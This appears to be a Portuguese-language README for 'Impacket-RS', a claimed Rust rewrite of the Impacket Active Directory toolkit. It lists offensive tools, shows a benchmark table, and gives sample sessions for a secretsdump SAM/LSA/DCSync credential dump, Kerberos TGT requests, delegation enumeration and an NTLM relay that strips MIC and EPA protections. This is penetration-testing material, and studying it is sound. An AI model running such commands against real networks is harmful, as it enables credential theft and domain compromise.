
Redesenho em Rust puro de alto desempenho e com segurança de memória dos principais protocolos de rede do Impacket e ferramentas de Active Directory (Win2000 a Win2025)
Redesign de Alto Desempenho e Seguro em Memória dos Principais Protocolos de Rede e Ferramentas de Active Directory do Impacket em Rust
Zero Dependências de Runtimes Python ou C • Primitivas Criptográficas em Rust Puro • 100% de Paridade com o Impacket • Linux, macOS e Windows
Impacket-RS é uma reescrita moderna, segura em memória e construída do zero do kit de ferramentas padrão do setor SecureAuth Impacket em Rust puro. Criado para pesquisadores de segurança, testadores de penetração, red teams e administradores de sistemas, ele traz velocidade impressionante, inicializações a frio abaixo de um milissegundo, zero sobrecarga de interpretador e segurança de memória completa em tempo de compilação para manipulação de protocolos de rede de baixo nível do Windows.
psexec, wmiexec, smbexec, atexec), extração de credenciais (secretsdump, ntdsdump, dpapi), ataques e armoring Kerberos (GetNPUsers, GetUserSPNs, getTGT, getST, raiseChild, ticketer Golden/Silver/Diamond), administração de Active Directory (ldapclient, GetADUsers, trueTree, dnstool, GetLAPSPassword), relaying (ntlmrelayx), dissecação de pacotes (sniffer) e auditoria de rede (rdp_check, mqtt_check, tracer).LegacyWin2000, UniversalAuto, ModernHardened).
Benchmarks executados em Apple Silicon (série M, 10 núcleos) e Linux (AMD EPYC, 8 núcleos) comparando o Impacket v0.12.0 em Python 3.11 com o impacket-rs v0.1.0-dev (build de release):
| Métrica de Benchmark | Python Impacket (v0.12.0) | Impacket-RS (Rust) | Aceleração / Eficiência |
|---|---|---|---|
| Latência de Inicialização a Frio da CLI | 185.4 ms | 1.8 ms | ~103x mais rápido |
| Empacotamento + Desempacotamento de NDR PDU | 42,000 ops/sec | 5,850,000 ops/sec | ~139x mais rápido |
| Pegada de Memória (RSS) | 48.2 MB | 4.6 MB | ~10x menor |
| Análise de 10.000 Hashes NTDS | 14.8 seconds | 0.22 seconds | ~67x mais rápido |
| Criptografia de Ticket Kerberos | 1,250 tickets/sec | 98,400 tickets/sec | ~78x mais rápido |
| Tamanho do Binário Estático | Requer Python + Venv | Binário Único Autocontido | Zero dependências de runtime |
secretsdump (SAM Remoto, LSA & DCSync do Active Directory)$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s
getTGT com FAST Armoring (RFC 6113)$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'
findDelegation com Grafos de Confiança ASCII$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...
=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
├── TRUSTS ANY SERVICE ON DOMAIN
└── Can impersonate any ticket presented to host
[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
└── [cifs/fileserver.corp.local]
└── [http/fileserver.corp.local]
[SQL-SVC] (Resource-Based Constrained Delegation)
└── Allowed Principals: [CORP\Tier1-Admins]
[+] Discovered 3 delegation relationships.
ntlmrelayx$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Initializing NTLM Relay Engine...
Listen Protocol : HTTP
Listen Port : 80
Target Count : 4
Strip MIC : Enabled (MsvAvFlags & !0x02)
Strip EPA : Enabled (MsvAvChannelBindings)
[+] Target Routing Table:
[01] SMB -> 192.168.1.10:445
[02] LDAP -> dc01.corp.local:389
[03] MSSQL -> sql01.corp.local:1433
[04] HTTP -> web01.corp.local:8080
[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.